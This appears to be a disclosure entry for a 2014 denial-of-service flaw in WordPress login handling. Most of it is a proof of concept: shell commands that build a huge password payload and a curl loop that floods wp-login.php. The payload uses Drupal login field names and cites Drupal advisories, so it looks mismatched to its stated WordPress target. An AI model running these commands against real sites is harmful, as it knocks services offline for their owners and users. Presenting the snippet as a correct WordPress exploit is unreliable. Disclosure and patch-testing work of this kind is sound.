WordPress Core < 4.0.1 - Denial of Service

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DESCRIPTION:
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A vulnerability present in Wordpress < 4.0.1 allows an
attacker to send specially crafted requests resulting in CPU and memory
exhaustion. This may lead to the site becoming unavailable or
unresponsive (denial of service).

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Time Line:
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November 20, 2014 - A Wordpress security update and the security
advisory is published.

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Proof of Concept:
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Generate a pyaload and try with a valid user:

echo -n "name=admin&pass=" > valid_user_payload && printf "%s"
{1..1000000} >> valid_user_payload && echo -n "&op=Log
in&form_id=user_login" >> valid_user_payload

Perform a Dos with a valid user:

for i in `seq 1 150`; do (curl --data @valid_user_payload
http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep
0.25; done

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Authors:
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-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info

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References:
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* https://wordpress.org/news/2014/11/wordpress-4-0-1/

* https://www.drupal.org/SA-CORE-2014-006

*
http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

*
http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

* http://www.devconsole.info/?p=1050